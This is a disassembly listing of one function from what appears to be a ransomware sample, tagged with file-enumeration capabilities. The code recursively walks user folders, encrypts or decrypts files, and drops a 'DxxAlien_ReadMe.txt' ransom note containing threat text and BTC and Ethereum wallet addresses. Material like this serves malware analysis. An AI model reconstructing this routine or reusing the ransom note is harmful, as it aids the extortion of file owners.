Function at 0x422240
Capabilities:
Enumerate files on windows
Enumerate files recursively
Get common file path

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1ac4
call fcn.004195a0
push ebx
mov eax, edx
mov ebx, ecx
mov dword [ebp - 8], eax
mov dword [ebp - 4], ebx
push esi
push edi
cmp ax, 0x65
jne 0x42226d
cmp byte [0x42c918], 0
je 0x4226fd
push 0x1450
lea eax, [ebp - 0x1ac0]
push 0
push eax
call fcn.004023f0
mov eax, dword [0x429068]
mov ecx, ebx
mov dword [ebp - 0x10], eax
add esp, 0xc
mov ax, word [0x42906c]
mov word [ebp - 0xc], ax
lea edx, [ecx + 2]
nop word [eax + eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x4222a0
sub ecx, edx
sar ecx, 1
cmp ecx, 0x30c
ja 0x4226fd
push 0x104
lea eax, [ebp - 0x670]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
movzx eax, word [ebp - 0x670]
mov esi, eax
lea ecx, [eax - 0x61]
lea eax, [esi - 0x20]
cmp cx, 0x19
movzx edx, ax
mov ecx, esi
mov eax, esi
cmova edx, eax
movzx eax, word [ebx]
movzx edi, dx
mov edx, eax
add eax, 0xffffff9f
movzx ebx, ax
cmp ax, 0x19
mov eax, esi
jbe 0x422300
movzx esi, ax
cmp ebx, 0x19
lea eax, [edx - 0x20]
movzx ecx, ax
mov eax, edx
cmova ecx, eax
cmp di, cx
mov edi, dword [sym.imp.USER32.dll_wsprintfW]
jne 0x4223ae
push str.Users
push esi
lea eax, [ebp - 0x468]
push str._c:_s
push eax
call edi
mov ebx, dword [ebp - 4]
add esp, 0x10
movzx eax, word [ebx]
mov esi, eax
mov ecx, eax
add ecx, 0xffffff9f
cmp cx, 0x19
lea eax, [esi - 0x20]
movzx edx, ax
mov eax, esi
cmova edx, eax
movzx eax, word [ebp - 0x468]
mov ecx, eax
mov word [ebx], dx
lea edx, [eax - 0x61]
lea eax, [ecx - 0x20]
cmp dx, 0x19
movzx esi, ax
mov eax, ecx
mov ecx, ebx
cmova esi, eax
mov word [ebp - 0x468], si
lea edx, [ecx + 2]
nop dword [eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x422380
sub ecx, edx
sar ecx, 1
cmp ecx, 3
jbe 0x4223b1
lea eax, [ebp - 0x468]
push eax
push ebx
call fcn.00401dbc
add esp, 8
test eax, eax
je 0x4226fd
jmp 0x4223b1
mov ebx, dword [ebp - 4]
push ebx
lea eax, [ebp - 0x1ac0]
push str._s.
push eax
call edi
add esp, 0xc
lea eax, [ebp - 0x260]
push eax
lea eax, [ebp - 0x1ac0]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov dword [ebp - 4], eax
cmp eax, 0xffffffff
je 0x4226fd
mov ecx, dword [ebp - 0x670]
lea eax, [ecx - 0x61]
cmp ax, 0x19
ja 0x4223fa
lea eax, [ecx - 0x20]
movzx edi, ax
jmp 0x4223fd
movzx edi, cx
movzx eax, word [ebx]
mov esi, eax
mov ecx, eax
add ecx, 0xffffff9f
cmp cx, 0x19
lea eax, [esi - 0x20]
movzx edx, ax
mov eax, esi
cmova edx, eax
cmp di, dx
mov edx, dword [ebp - 0x260]
jne 0x42242a
cmp edx, 2
je 0x42262b
lea eax, [ebp - 0x234]
lea esi, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x422433
sub eax, esi
sar eax, 1
cmp eax, 0xff
ja 0x42262b
cmp edx, 4
je 0x42262b
cmp edx, 0x10000
je 0x42262b
test dl, 0x10
je 0x422548
lea ecx, [ebp - 0xe]
lea eax, [ebp - 0x234]
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x42249a
test dx, dx
je 0x422496
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x42249a
add eax, 4
add ecx, 4
test dx, dx
jne 0x422474
xor eax, eax
jmp 0x42249f
sbb eax, eax
or eax, 1
test eax, eax
je 0x42262b
lea ecx, [ebp - 0x10]
lea eax, [ebp - 0x234]
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x4224d6
test dx, dx
je 0x4224d2
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x4224d6
add eax, 4
add ecx, 4
test dx, dx
jne 0x4224b0
xor eax, eax
jmp 0x4224db
sbb eax, eax
or eax, 1
test eax, eax
je 0x42262b
xor eax, eax
push ebx
mov word [ebp - 0x1ac0], ax
lea eax, [ebp - 0x1ac0]
push 0x30c
push eax
call fcn.0040987c
add esp, 0xc
lea eax, [ebp - 0x234]
push eax
lea eax, [ebp - 0x1ac0]
push 0x30c
push eax
call fcn.0040987c
add esp, 0xc
lea eax, [ebp - 0x1ac0]
push 0x429098
push 0x30c
push eax
call fcn.0040987c
mov edx, dword [ebp - 8]
lea ecx, [ebp - 0x1ac0]
add esp, 0xc
call fcn.00422240
jmp 0x422623
xor eax, eax
push ebx
mov word [ebp - 0x1ac0], ax
lea eax, [ebp - 0x1ac0]
push 0x30c
push eax
call fcn.0040987c
add esp, 0xc
lea eax, [ebp - 0x234]
push eax
lea eax, [ebp - 0x1ac0]
push 0x30c
push eax
call fcn.0040987c
mov eax, dword [ebp - 8]
add esp, 0xc
cmp ax, 0x65
jne 0x4225e3
lea eax, [ebp - 0x1ac0]
push 0x428d2c
push eax
call fcn.00401dbc
add esp, 8
test eax, eax
jne 0x422623
lea eax, [ebp - 0x1ac0]
push str.DxxAlien_ReadMe.txt
push eax
call fcn.00401dbc
add esp, 8
test eax, eax
jne 0x422623
push ecx
lea ecx, [ebp - 0x1ac0]
call fcn.0041b5a0
add esp, 4
lea eax, [ebp - 0x1ac0]
push eax
push 0x42909c
call fcn.00401040
add esp, 8
jmp 0x422623
cmp ax, 0x64
jne 0x422623
lea eax, [ebp - 0x1ac0]
push 0x428d2c
push eax
call fcn.00401dbc
add esp, 8
test eax, eax
je 0x422623
sub esp, 0x18
lea ecx, [ebp - 0x1ac0]
call fcn.0041b080
lea eax, [ebp - 0x1ac0]
push eax
push str.Decrypting_File_:__s_n
call fcn.00401040
add esp, 0x20
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 0x260]
push eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x4223e3
push ebx
mov word [ebp - 0x1ac0], ax
lea eax, [ebp - 0x1ac0]
push 0x30c
push eax
call fcn.0040987c
add esp, 0xc
lea eax, [ebp - 0x1ac0]
push str.DxxAlien_ReadMe.txt
push 0x30c
push eax
call fcn.0040987c
mov eax, dword [ebp - 8]
add esp, 0xc
cmp ax, 0x65
jne 0x4226df
lea eax, [ebp - 0x1ac0]
push 0x4290f4
push eax
call fcn.0040b9fc
mov edi, eax
add esp, 8
test edi, edi
je 0x4226f4
xor esi, esi
nop dword [eax]
cmp byte [esi + str.Greetings_the__world._nYour_PC_is_under_my_control_and_all_your_files_are_encrypted_by__Franc_DC_and__whitehair_maldev._Please_not_to_do_anything._You_may_lose_all_your_files_unexpectedly..._nJust_follow_me..._nPay_COIN_to_here_and_send_D.M._to_above_tg_users_then_decryption_key_will_be_returned..._Best_wishes..._nBTC_Address:bc1q9thrny2nfsssj43tg5mzjnthdv2n67lxg3s9lt_nEtherum_Address:0xc7E856E21cd26AA616Fdf6F232cc42859bEf8952_n], 0
lea ecx, [esi + str.Greetings_the__world._nYour_PC_is_under_my_control_and_all_your_files_are_encrypted_by__Franc_DC_and__whitehair_maldev._Please_not_to_do_anything._You_may_lose_all_your_files_unexpectedly..._nJust_follow_me..._nPay_COIN_to_here_and_send_D.M._to_above_tg_users_then_decryption_key_will_be_returned..._Best_wishes..._nBTC_Address:bc1q9thrny2nfsssj43tg5mzjnthdv2n67lxg3s9lt_nEtherum_Address:0xc7E856E21cd26AA616Fdf6F232cc42859bEf8952_n]
je 0x4226c6
push edi
push 1
push 1
push ecx
call fcn.0040bf8b
inc esi
add esp, 0x10
cmp esi, 0x800
jl 0x4226a0
push edi
call fcn.0040bb4f
add esp, 4
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FindClose]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp ax, 0x64
jne 0x4226f4
lea eax, [ebp - 0x1ac0]
push eax
call fcn.00404b08
add esp, 4
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FindClose]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret